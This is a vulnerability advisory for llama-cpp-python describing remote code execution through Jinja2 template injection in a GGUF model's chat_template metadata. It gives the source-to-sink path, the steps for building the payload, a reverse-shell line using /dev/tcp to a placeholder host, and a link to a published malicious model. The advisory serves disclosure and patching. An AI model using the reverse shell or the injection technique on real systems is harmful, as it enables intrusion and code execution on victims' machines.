Описание
llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata
Description
llama-cpp-python depends on class Llama in llama.py to load .gguf llama.cpp or Latency Machine Learning Models. The __init__ constructor built in the Llama takes several parameters to configure the loading and running of the model. Other than NUMA, LoRa settings, loading tokenizers, and hardware settings, __init__ also loads the chat template from targeted .gguf 's Metadata and furtherly parses it to llama_chat_format.Jinja2ChatFormatter.to_chat_handler() to construct the self.chat_handler for this model. Nevertheless, Jinja2ChatFormatter parse the chat template within the Metadate with sandbox-less jinja2.Environment, which is furthermore rendered in __call__ to construct the prompt of interaction. This allows jinja2 Server Side Template Injection which leads to RCE by a carefully constructed payload.
Source-to-Sink
llama.py -> class Llama -> __init__:
In llama.py, llama-cpp-python defined the fundamental class for model initialization parsing (Including NUMA, LoRa settings, loading tokenizers, and stuff ). In our case, we will be focusing on the parts where it processes metadata; it first checks if chat_format and chat_handler are None and checks if the key tokenizer.chat_template exists in the metadata dictionary self.metadata. If it exists, it will try to guess the chat format from the metadata. If the guess fails, it will get the value of chat_template directly from self.metadata.self.metadata is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the chat_template is parsed into llama_chat_format.Jinja2ChatFormatter as params which furthermore stored the to_chat_handler() as chat_handler
llama_chat_format.py -> Jinja2ChatFormatter:
self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render(
As we can see in llama_chat_format.py -> Jinja2ChatFormatter, the constructor __init__ initialized required members inside of the class; Nevertheless, focusing on this line:
Fun thing here: llama_cpp_python directly loads the self.template (self.template = template which is the chat template located in the Metadate that is parsed as a param) via jinja2.Environment.from_string( without setting any sandbox flag or using the protected immutablesandboxedenvironment class. This is extremely unsafe since the attacker can implicitly tell llama_cpp_python to load malicious chat template which is furthermore rendered in the __call__ constructor, allowing RCEs or Denial-of-Service since jinja2's renderer evaluates embed codes like eval(), and we can utilize expose method by exploring the attribution such as __globals__, __subclasses__ of pretty much anything.
Exploiting
For our exploitation, we first downloaded qwen1_5-0_5b-chat-q2_k.gguf of Qwen/Qwen1.5-0.5B-Chat-GGUF on huggingface as the base of the exploitation, by importing the file to Hex-compatible editors (In my case I used the built-in Hex editor or vscode), you can try to search for key chat_template (imported as template = self.metadata["tokenizer.chat_template"] in llama-cpp-python):
qwen1_5-0_5b-chat-q2_k.gguf appears to be using the OG role+message and using the fun jinja2 syntax. By first replacing the original chat_template in \x00, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression ().__class__.__base__.__subclasses__() retrieves a list of all subclasses of the basic object class and then we check if its warning by if "warning" in x.__name__, if it is , we access its module via the _module attribute then access Python's built-in functions through __builtins__ and uses the __import__ function to import the os module and finally we called os.popen to touch /tmp/retr0reg, create an empty file call retr0reg under /tmp/
in real life exploiting instance, we can change touch /tmp/retr0reg into arbitrary codes like sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1 to create a reverse shell connection to specified host, in our case we are using touch /tmp/retr0reg to showcase the exploitability of this vulnerability.
After these steps, we got ourselves a malicious model with an embedded payload in chat_template of the metahead, in which will be parsed and rendered by llama.py:class Llama:init -> self.chat_handler -> llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment( -> ``llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(`
(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )
Now when the model is loaded whether as Llama.from_pretrained or Llama and chatted, our malicious code in the chat_template of the metahead will be triggered and execute arbitrary code.
PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing
Пакеты
llama-cpp-python
>= 0.2.30, <= 0.2.71
0.2.72
Связанные уязвимости
llama-cpp-python is the Python bindings for llama.cpp. `llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to remote code execution by a carefully constructed payload.